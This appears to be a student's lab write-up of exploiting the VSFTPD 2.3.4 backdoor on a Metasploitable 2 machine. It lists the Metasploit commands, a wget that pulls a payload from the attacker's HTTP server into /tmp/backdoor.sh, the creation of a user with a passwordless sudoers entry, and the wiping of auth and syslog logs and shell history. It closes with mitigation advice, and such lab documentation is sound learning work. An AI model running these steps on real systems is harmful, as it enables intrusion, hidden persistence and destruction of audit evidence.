VSFTPD Reverse Shell Exploitation (System Hacking)

Objective: Gain shell access to a vulnerable machine using Metasploit Framework and demonstrate post-exploitation actions in a controlled environment.

---

Table of Contents

1. Overview
2. Scanning & Enumeration
3. Exploitation Process
4. Post-Exploitation Activities
5. Mitigation Recommendations
6. Challenges & Lessons Learned
7. Conclusion
8. My Take
9. Screenshots
10. Disclaimer

---

Overview

This project documents my hands-on experience exploiting the VSFTPD 2.3.4 backdoor vulnerability on a Metasploitable 2 machine using Metasploit during my internship. From scanning and enumeration to exploitation, privilege escalation attempts, and log cleanup, this journey was filled with challenges that deepened my understanding of Linux systems, system logs, and persistence techniques.

Disclaimer: All actions were performed in a safe, local lab environment for ethical purposes only.

---

Scanning & Enumeration

I ensured both the attacker (192.168.56.108) and target (192.168.56.104) virtual machines were configured to communicate on the same host-only network.

I used my own automation scripts for ethical hacking, specifically a service detection script to scan for open ports and identify service versions. You can check out the script in my scripts-and-tools repository. Click HERE to check that repository.

Key Findings:

• Port 21 (FTP) running VSFTPD v2.3.4, a known vulnerable service.

Tool Used:

• My custom script leveraged nmap service detection.

---

Exploitation Process

I started Metasploit Framework and searched for available exploits related to VSFTPD:

Exploit used :

exploit/unix/ftp/vsftpd_234_backdoor

Payload used :

cmd/unix/interact

Steps

msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set PAYLOAD cmd/unix/interact
set RHOSTS <then you put your target IP here>
run

Result:

Reverse shell access was successfully gained.

---

Post-Exploitation Activities

With shell access secured, I explored what I could do next. Here’s what I tried:

*Note: I could view /etc/shadow and /etc/passwd (hashed user accounts and passwords) and extract those hashes for cracking, but I had already done that in my password cracking project via a SAMBA exploit. Check it out HERE

1. I run whoami and it returned root - I was granted root privilages through the exploit.

2. File Transfer Simulation

To mimic dropping a malicious payload, I:

Set up a Python HTTP server on my attacker machine:

python3 -m http.server 80

Then, from the reverse shell, downloaded a file unto the target machine:

wget http://192.168.56.108:80/virus.txt -O /tmp/backdoor.sh

This showed me how easily an attacker could deploy a backdoor or malware.

3. User Creation

   I decided to create a new user account to maintain of access to the target machine.

   useradd LASSEY
   passwd LASSEY
   # Entered: Spawn@mercedEs_by2000!
   

   I tried adding the user to the sudo group:

   usermod -aG sudo LASSEY
   

   

   Then I opened the /etc/sudoers to inspect

   cat /etc/sudoers
   

   

   I needed to add the user I created to be a sudoer (root privilages). Hence:

   echo "KWESI ALL=(ALL) ALL" >> /etc/sudoers
   

   

   I verified the /etc/sudoers to make sure the line was added

   cat /etc/sudoers
   

   

   I tried to gain root access from the target machine but I was still denied. Hence, I used this line so it won't need a password.

   echo "KWESI ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
   

   Despite these, I still couldn’t run sudo as LASSEY or switch to root with su. This was a big learning moment about system permissions.

4. Checking and Clearing logs created.

   To understand how logs record system activity, I viewed key log files:

   cd /var/log
   ls
   

   

   cat /var/log/auth.log
   cat /var/log/syslog
   

   

   These showed login attempts and service activity—stuff an attacker might want to hide. So, I cleared them:

   echo > /var/log/auth.log
   echo > /var/log/syslog
   

   I also wiped the shell history:

   history -c
   

   

---

Mitigation Recommendations

To prevent this kind of attack,

• Patch vulnerabilities: Update VSFTPD to a secure version.
• Disable unnecessary services: Shut down FTP if it’s not needed.
• Firewall rules: Block unused ports like 21.
• Monitor logs: Watch for unusual activity like new users or cleared logs.
• Secure sudo access: Limit who gets root privileges and use visudo for edits.
• File integrity checks: Detect unauthorized changes to critical files.

---

Challenges & Lessons Learned

Challenge	Resolution / Insight
Couldn't escalate with su	Realized su requires the root password, not the user's
Editing sudoers wiped content	Learned to avoid echo into /etc/sudoers but rather use visudo
New user couldn’t log in	Possible password/authentication issue
Still couldn’t become root	Privilege escalation requires deeper understanding

---

Conclusion

This project was a deep dive into real-world ethical hacking. I didn’t just stop at exploitation... I pushed through privilege escalation attempts, log analysis, and user management. It showed me how attackers operate and why defenders need to stay proactive. I didn’t just exploit a system; I learned how to think through problems step-by-step.

---

My Take

The project was frustrating at points: sudoers issues, user creation problems, and root access failures. But that’s the beauty of learning hacking. It’s more about creativity and persistence than just typing commands. I look forward to building stronger Linux privilege escalation skills.

---

Screenshots

All referenced screenshots are available in the screenshots/ directory of this repository.

---

Disclaimer:

This was done in a controlled lab for educational purposes. Never try this on systems you don’t own or have permission to test!